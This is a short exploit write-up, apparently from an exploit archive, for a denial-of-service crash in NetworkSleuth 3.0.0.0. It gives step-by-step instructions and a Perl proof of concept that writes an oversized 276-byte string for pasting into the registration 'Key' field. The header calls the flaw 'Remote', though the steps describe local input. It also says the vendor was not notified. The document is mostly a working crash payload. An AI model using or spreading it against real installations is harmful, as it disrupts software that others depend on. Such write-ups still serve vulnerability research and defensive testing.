# Exploit Title: NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
#  Vendor Homepage: www.nsauditor.com
# Software Link : http://www.nsauditor.com/downloads/networksleuth_setup.exe
# Notification vendor: No reported
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Remote - Denial of Service (DoS)

# Steps to Produce the Exploit: 
# 1 - Run the script: perl exploit.pl
# 2 - Open exploit.txt and copy content to clipboard
# 3 - Open NetworkSleuth
# 4 - Register -> Enter Registration Code...
# 5 - Name: -> l4m5
# 6 - Paste ClipBoard on "Key:"
# 7 - OK
# 8 - Denied of Service

#2. Proof of Concept - PoC

#!/usr/bin/perl

use strict;
use warnings;

my $payload = "\x42" x 276;
open my $file, '>', 'exploit.txt' or die "Cannot create file: $!";
print $file $payload;
close $file;
exit(0);